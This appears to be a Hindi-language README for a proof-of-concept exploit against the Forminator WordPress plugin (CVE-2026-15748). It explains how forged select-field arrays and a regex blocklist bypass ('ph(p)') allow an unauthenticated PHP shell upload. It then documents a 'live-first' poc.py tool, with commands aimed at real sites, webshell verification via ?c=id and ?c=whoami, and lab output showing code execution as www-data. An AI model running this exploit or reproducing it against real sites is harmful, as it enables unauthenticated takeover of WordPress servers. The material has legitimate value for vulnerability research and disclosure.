
Forminator Forms <= 1.56.1 - जाली अपलोड फ़ील्ड कॉन्फ़िगरेशन के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
CVSS 9.8 (गंभीर) · प्रभावित: Forminator <= 1.56.1 · पैच किया गया: 1.56.2
शोधकर्ता: daroo (Wordfence बग बाउंटी, $2,048) · ~600k सक्रिय इंस्टॉल
विश्लेषण: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
फ़ोर्ज किए गए Select-फ़ील्ड मान के माध्यम से तीन कमज़ोरियाँ श्रृंखलाबद्ध:
नेस्टेड फ़ील्ड ऐरे पर कोई सैनिटाइज़ेशन नहीं — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() प्रत्येक संग्रहीत फ़ील्ड को इटरेट करता है। संग्रहीत Select फ़ील्ड select-1 के लिए,
$field_data = prepared_data['select-1'] (हमलावर-नियंत्रित नेस्टेड ऐरे)। जब इसमें
return होता है, तो ऐरे को field_data_array में संपूर्ण रूप से जोड़ दिया जाता है (front-action.php ~पंक्ति 1088),
किसी भी प्रति-फ़ील्ड सैनिटाइज़/वैलिडेट से पहले। maybe_handle_custom_option() इन्हें हटाता नहीं है।
अविश्वसनीय फ़ील्ड कॉन्फ़िग अपलोड पर विश्वसनीय माना जाता है — Forminator_CForm_Front_Action::process_uploads()
field_data_array को इटरेट करता है, फ़ोर्ज किए गए field_type == 'upload' पर भरोसा करता है, फ़ोर्ज किए गए name का उपयोग
$_FILES इनपुट चुनने के लिए करता है, और फ़ोर्ज किए गए field_array को विश्वसनीय कॉन्फ़िग के रूप में
Forminator_Upload::handle_file_upload() में पास करता है।
ब्लॉकलिस्ट एक्सैक्ट-की बाइपास — forminator_allowed_mime_types() शाब्दिक कुंजी php को हटा देता है, लेकिन
wp_check_filetype() कुंजियों को regex मानता है। कुंजी ph(p) ब्लॉकलिस्ट से बच जाती है फिर भी
.php सफ़िक्स से मेल खाती है। additional-type = ph(p)|text/x-php एक .php फ़ाइल को वैलिडेशन पास करने देता है।
एक प्रकाशित फ़ॉर्म में दोनों होने चाहिए: एक फ़ाइल अपलोड फ़ील्ड और एक Select फ़ील्ड। Select केवल वाहक है।
.php का डिस्क पर अपलोड डिफ़ॉल्ट रूप से सफल होता है (लिखने के लिए कोई विशेष कॉन्फ़िग आवश्यक नहीं)।.htaccess का न होना आवश्यक है। डिफ़ॉल्ट Forminator रूट और कस्टम
रूट दोनों में PHP ब्लॉक करने वाला .htaccess मिलता है (SetHandler none / RemoveHandler)। RCE तभी सक्रिय होता है जब
वह .htaccess अनुपस्थित हो — writeup में वर्णित "custom storage root created during a frontend request
where insert_with_markers() isn't loaded" परिदृश्य।.htaccess स्थिति का अनुकरण करके RCE प्राप्त किया।wp-content/uploads/forminator/ → फ़ाइल यहाँ:
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>।forminator_custom_upload_root सेट किया है (जैसे cveuploads), तो फ़ाइलें यहाँ जाती हैं:
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>।<hash> वास्तव में wp_hash($form_id) है — यह साइट के AUTH salts से प्राप्त होता है, इसलिए यह बाहरी रूप से
अनुमान लगाने योग्य नहीं है। poc.py पथ पैटर्न प्रिंट करता है; इसे पूरा करने के लिए आपको हैश को पुनर्प्राप्त करना होगा (dir listing,
किसी मौजूदा अपलोड की गई फ़ाइल का URL/लॉग, एडमिन में कोई एंट्री, आदि) --form-hash के माध्यम से।wp_generate_password(12,false,false) . '-' . <original> → उदाहरण:
cX3fRjMDDu03-shell.php (12 रैंडम अल्फ़ान्यूमेरिक अक्षर + - + मूल नाम)।poc.pyडिज़ाइन से लाइव-प्रथम; स्थानीय-लैब सहायक (file-FS स्कैन, .htaccess हटाना) केवल
http://wordpresslab.test / http://localhost तक सीमित हैं।
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| फ़्लैग | अर्थ |
|---|---|
--target | बेस URL (या पूर्ण पेज URL जब --page-id/मैनुअल न हो) |
--page-id | पोस्ट id; यदि खाली हो, तो nonce/form_id के लिए target URL स्वयं फ़ेच किया जाता है |
--form-id, --nonce | डिस्कवरी बाइपास करें; फिर भी --auto हार्वेस्ट के लिए पेज फ़ेच करता है |
--upload-field | वास्तविक अपलोड फ़ील्ड का नाम (डिफ़ॉल्ट upload-1) |
--forge-name | फ़ोर्ज किया गया $_FILES वाहक (डिफ़ॉल्ट = वास्तविक नाम, colliding मोड; साफ success=True के लिए अलग नाम उपयोग करें) |
--select | उपयोग करने के लिए select फ़ील्ड (डिफ़ॉल्ट select-1) |
--extra name=value | फ़ील्ड मान को बलपूर्वक सेट करें (दोहराने योग्य; एकाधिक के लिए --extra 'checkbox-1[]=a+b') |
--auto / --no-auto | HTML से वास्तविक फ़ॉर्म फ़ील्ड हार्वेस्ट करें और प्रकार के अनुसार संभावित मान स्वतः भरें (डिफ़ॉल्ट चालू) |
--upload-root | सापेक्ष अपलोड रूट (डिफ़ॉल्ट wp-content/uploads/forminator; कस्टम रूट के लिए जैसे wp-content/uploads/cveuploads सेट करें) |
--form-hash | अपलोड निर्देशिका का <hash> भाग → एक ठोस URL पूरा/प्रिंट करता है |
--verify-url | लाइव: ?c=id/?c=whoami के साथ संभावित shell URL की जाँच करें |
--find-shell | केवल स्थानीय (wordpresslab.test/localhost): नवीनतम *-shell.php खोजें, .htaccess हटाएँ, निष्पादित करें |
--no-htaccess | स्थानीय-लैब का .htaccess-हटाने संबंधी नोट प्रिंट करें |
--auto मान मैपिंग (फ़ॉर्म HTML से हार्वेस्ट किया गया)| फ़ील्ड प्रकार | उत्पन्न मान |
|---|---|
email / नाम में email है | auto<rand>@mailinator.com |
tel / नाम में phone है | 10 रैंडम अंक |
url / नाम में url है | https://example.com/<rand> |
number | रैंडम 1–9999 |
date | 2026-08-19 |
checkbox/radio समूह name[] | पहला विकल्प मान (सभी समान-नाम वाले इनपुट स्कैन किए जाते हैं) |
| एकल checkbox/radio | value attr, फ़ॉलबैक checked |
<select> (गैर-वाहक) | पहला गैर-खाली विकल्प |
<textarea> | रैंडम टेक्स्ट |
| सादा टेक्स्ट | रैंडम 10 अक्षर |
छोड़े गए: आंतरिक फ़ील्ड (action/form_id/nonce/...), type="file" (upload-*), select-*
(एक्सप्लॉइट वाहक), calculation-* (गणना किए गए), और बाहरी-प्लगइन फ़ील्ड (wpforms[...])।
सेटअप:
build_form.php,
Forminator_Form_Model API के माध्यम से निर्मित)।forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
ताकि हम RCE प्रदर्शित कर सकें। cveuploads/ एक लैब आर्टिफैक्ट है, न कि Forminator डिफ़ॉल्ट।success=True के लिए, फ़ोर्ज किया गया name वास्तविक अपलोड
फ़ील्ड के element_id से भिन्न होना चाहिए। colliding नाम फ़ाइल को फिर भी अपलोड करता है, लेकिन वास्तविक फ़ील्ड अपनी खुद की
डिफ़ॉल्ट-mime जाँच भी चलाता है → जबकि shell पहले से डिस्क पर होती है, प्रतिक्रिया एक त्रुटि रिपोर्ट करती है।कच्चा साक्ष्य (लैब रन):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)